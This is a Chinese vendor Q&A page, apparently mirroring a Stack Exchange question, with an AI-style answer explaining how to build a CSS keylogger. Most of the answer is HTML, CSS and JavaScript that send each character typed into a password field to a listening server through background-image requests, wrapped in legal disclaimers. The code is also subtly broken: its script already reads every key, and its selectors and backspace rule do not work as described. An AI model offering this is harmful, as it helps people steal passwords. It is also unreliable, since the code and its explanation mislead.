You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何使用CSS实现键盘记录器?我找到的代码方案无法正常运行,求正确实现方法

Great question—let's unpack why your original code isn't working, then walk through how this (very niche, and important to note: potentially malicious) technique can be adjusted.

Why Your Original Code Fails

Your approach has two key flaws that prevent it from working reliably:

  1. The value attribute vs. actual input value: CSS attribute selectors target the value HTML attribute, not the live input value users type. Even though you're updating the attribute on keyup, password inputs have browser-level privacy protections that don't sync typed values to the value attribute. For regular text inputs, this might work occasionally, but it's inconsistent (e.g., backspace doesn't update the attribute correctly across all browsers).
  2. Selector matching limitations: CSS attribute selectors like [value$="a"] only trigger when the attribute exactly ends with "a" at the moment the selector is evaluated. Browser rendering cycles mean this won't reliably catch every keystroke, especially for fast typists.

How CSS-Based Keylogging Can Work (With Big Caveats)

First: This technique is malicious if used without explicit, written authorization. It violates user privacy laws (like GDPR or CCPA) and constitutes unauthorized access in most jurisdictions. Only use this for legitimate security testing of systems you own or have permission to audit.

That said, here's how to adjust the approach to work around browser limitations:

1. Detecting Specific Characters (Basic Version)

Use the :valid pseudo-class with an input pattern to trigger a background image request when the input contains a specific character:

<input type="password" id="secret-input" pattern=".*a.*">
<style>
#secret-input:valid {
  /* This URL will be requested when the input contains "a" */
  background-image: url('http://localhost:3000/detected-a');
}
</style>
<script>
const input = document.querySelector('#secret-input');
input.addEventListener('input', () => {
  // Force the browser to re-validate the input, triggering the :valid state
  input.reportValidity();
});
</script>

This only tells you if a character exists in the input, not its position or the full sequence.

2. Logging Individual Keystrokes (Advanced Version)

To log each character as it's typed, sync the input's current value to a pattern attribute, then use CSS attribute selectors to trigger requests for each possible character:

<input type="password" id="secret-input">
<style>
/* Define a selector for each possible printable character */
#secret-input[pattern=".*a$"] {
  background-image: url('http://localhost:3000/char-a');
}
#secret-input[pattern=".*b$"] {
  background-image: url('http://localhost:3000/char-b');
}
/* Repeat this for all letters, numbers, and symbols you want to capture */
#secret-input[pattern=".*$"] {
  background-image: url('http://localhost:3000/backspace');
}
</style>
<script>
const input = document.querySelector('#secret-input');
let currentInput = '';

input.addEventListener('keyup', (e) => {
  if (e.key.length === 1) {
    // Handle printable characters
    currentInput += e.key;
    input.setAttribute('pattern', `.*${currentInput}$`);
  } else if (e.key === 'Backspace') {
    // Handle backspace by truncating the current value
    currentInput = currentInput.slice(0, -1);
    input.setAttribute('pattern', currentInput ? `.*${currentInput}$` : '.*');
  }
  
  // Force the browser to re-render, triggering the CSS selector
  input.offsetHeight; // A hack to trigger reflow
});
</script>

This works because updating the pattern attribute makes the CSS selector match, which triggers a background image request to your server—each request corresponds to a keystroke.

  • Modern browsers have protections against this kind of attack: many will block repeated background image requests from sensitive inputs, or flag the behavior as suspicious.
  • Never use this on users who haven't explicitly consented. Unauthorized keylogging is a felony in many countries and will result in severe legal consequences.
  • This is a proof-of-concept for security testing only—always prioritize user privacy and follow ethical hacking guidelines.

内容的提问来源于stack exchange,提问作者Rupert M-M

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.04.28 13:27:53